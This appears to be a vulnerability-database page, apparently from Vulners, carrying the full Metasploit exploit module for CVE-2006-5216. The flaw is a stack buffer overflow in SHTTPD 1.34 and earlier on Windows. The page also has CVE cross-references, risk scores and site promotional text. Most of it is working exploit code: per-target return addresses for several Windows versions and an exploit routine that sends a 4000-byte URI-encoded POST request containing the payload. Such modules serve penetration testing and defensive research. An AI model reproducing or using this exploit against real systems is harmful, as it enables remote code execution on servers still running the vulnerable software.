Lucene search
K

SHTTPD URI-Encoded POST Request Overflow

🗓️ 15 Oct 2006 07:53:19Reported by LMH <[email protected]>, hdm <[email protected]>, skOdType 
metasploit
 metasploit
🔗 www.rapid7.com👁 19 Views

SHTTPD stack buffer overflow exploit in URI-Encoded POST request handlin

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-5216
9 May 201000:00
circl
CVE
CVE-2006-5216
9 Oct 200621:00
cve
Cvelist
CVE-2006-5216
9 Oct 200621:00
cvelist
Exploit DB
SHTTPD 1.34 (Windows x86) - URI-Encoded POST Request Overflow (Metasploit)
9 May 201000:00
exploitdb
NVD
CVE-2006-5216
10 Oct 200604:06
nvd
Packet Storm
SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
26 Nov 200900:00
packetstorm
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SHTTPD URI-Encoded POST Request Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SHTTPD <= 1.34.
        The vulnerability is caused due to a boundary error within the
        handling of POST requests. Based on an original exploit by skOd
        but using a different method found by hdm.
      },
      'Author'         => [ 'LMH <lmh[at]info-pull.com>', 'hdm', 'skOd'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-5216'],
          [ 'OSVDB', '29565' ],
          [ 'URL', 'http://shttpd.sourceforge.net'],
          [ 'BID', '20393'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Except for Spanish locale target, all come from:
          [ 'Windows NT English SP5-SP6',			{ 'Ret' => 0x776a183a } ],
          [ 'Windows 2000 Spanish SP4',			{ 'Ret' => 0x79496391 } ],
          [ 'Windows 2000 French SP4',			{ 'Ret' => 0x74fb108d } ],
          [ 'Windows 2000 English SP0-SP4',			{ 'Ret' => 0x75021421 } ],
          [ 'Windows 2000 French SP0-SP4',			{ 'Ret' => 0x74fa3144 } ],
          [ 'Windows 2003 Server English SP0-SP1',	{ 'Ret' => 0x77d877d3 } ],
          [ 'Windows XP German SP2',				{ 'Ret' => 0x71a02975 } ],
          [ 'Windows XP German SP1',				{ 'Ret' => 0x71a02a6a } ],
          [ 'Windows XP English SP2',				{ 'Ret' => 0x71aa1e08 } ],
          [ 'Windows XP English SP0-SP1',			{ 'Ret' => 0x71aa1aaa } ],
        ],
      'DisclosureDate' => '2006-10-06'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def exploit
    connect

    pat = rand_text_alphanumeric(4000)
    pat[8,4] = [target.ret].pack('V')
    pat[103, payload.encoded.length] = payload.encoded
    pat = Rex::Text.uri_encode(pat)

    res = "post /#{pat} HTTP/1.0\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)
    sock.close

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.7High risk
Vulners AI Score7.7
CVSS 27.5
EPSS0.81799
19